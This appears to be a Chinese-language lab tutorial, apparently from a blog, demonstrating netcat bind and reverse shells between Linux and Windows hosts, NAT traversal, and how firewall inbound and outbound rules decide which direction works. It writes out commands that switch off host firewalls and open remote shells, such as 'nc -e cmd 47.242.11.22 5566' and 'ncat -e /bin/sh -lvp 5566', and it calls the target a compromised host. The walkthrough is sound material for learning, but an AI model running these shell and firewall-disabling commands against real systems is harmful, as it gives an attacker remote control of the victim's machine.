目录

Day05-实例正向反向连接内外网环境防火墙出入站

Day05 实例:正向反向连接&内外网环境&防火墙出入站

一、正反向连接

0、先将防火墙关闭

Linux: sudo systemctl stop firewalld
Windows:netsh advfirewall set allprofiles state off

1、正向连接

1.1 Linux连接Windows
00x1 开启两台服务器 并且给Windows拖入nc.exe

https://i-blog.csdnimg.cn/direct/b92ed2902e26466b8a4f9f66102fb76c.png

00x2 Windows绑定自己5566端口 等待Linux的监听

C:\Users\Administrator\Desktop>nc -e cmd -lvvp 5566 https://i-blog.csdnimg.cn/direct/1066a4eac94c469bb06521bbd98f35b8.png

00x3 Linux去访问Windows的端口

[root@iZj6c8wqhhs4wojatf6sqgZ ~]# ncat 47.242.11.22 5566 https://i-blog.csdnimg.cn/direct/b22069cef8bc4bd38dc9ff8902ef6997.png https://i-blog.csdnimg.cn/direct/5e0b99ccedb0432dab39f128b7af08ca.png

1.2 Windows连接Linux
00x1 关闭Linux的防火墙

sudo systemctl stop firewalld

00x2 Linux绑定自己的端口

ncat -e /bin/sh -lvp 5566 https://i-blog.csdnimg.cn/direct/71413327de0248b4931d5f2e0f6f9cea.png

00x3 等待Windows连接Linux的ip端口进行监听 并测试结果

https://i-blog.csdnimg.cn/direct/eca8eb441d2244a7ad8833e4e9f2547f.png

2、反向连接
2.1 Linux连接Windows
00x1 Linux实现本地监听

ncat -lvp 5566 https://i-blog.csdnimg.cn/direct/5bdc4dcfaecf420885d3b0150e5bbbe1.png

00x2 Windows主动绑定Linux的ip和端口

nc -e cmd 47.242.11.22 5566 https://i-blog.csdnimg.cn/direct/a57aaede03414b08bcd13e9ce21351b8.png

00x3 Linux本地监听成功,测试

https://i-blog.csdnimg.cn/direct/1408ad69db2a4484a8d788d3bf29a6fc.png

2.2 Windows连接Linux
00x1 Windows关闭防火墙

netsh advfirewall set allprofiles state off

https://i-blog.csdnimg.cn/direct/30721f5d424141d792771cff76213e26.png00x2 Linux主动绑定Windows的ip和端口

ncat -e /bin/sh 47.242.22.11 5566 https://i-blog.csdnimg.cn/direct/e71602d5fad8407ab73e24835959cee2.png

00x3 Windows实现本地监听

nc -lvp 5566 https://i-blog.csdnimg.cn/direct/a59001381a6d49f5b467e34d285b3785.png

二、内外网连接

配置要求:vm搭建的win10 + Linux监听
原理:由于win10是nat连接的,利用我本机进行上网,也就共用一个公网ip,所以说只能win10进行反向连接Linux。
步骤:
00x1 Linux去主动监听本地的端口5399

ncat -lvp 5399 https://i-blog.csdnimg.cn/direct/8ecbcf8640f54295b8af53c2e207bd5f.png

00x2 win10主动绑定Linux的ip和端口

C:\Users\admin\Desktop>nc -e cmd 47.242.11.22 5399 https://i-blog.csdnimg.cn/direct/b053ee1b5e914bab8fc2a2f3dfdbf40c.png 00x3 成功监听到win10 https://i-blog.csdnimg.cn/direct/52e07512d4d2412fa2bbe5aa5666a7b5.png 测试成功。 https://i-blog.csdnimg.cn/direct/41132db0628142ca9c238d72c33a8d2c.png

三、防火墙出入站

对入站有要求的话,就只能肉鸡去主动绑定攻击机的端口和ip了。那么就是反向连接的过程。 对出站有要求的话,理论上来说是可以进行正向连接,但是防火墙是严进宽出,如果对出都有要求,那么实际情况下进站的话也是会被禁止的。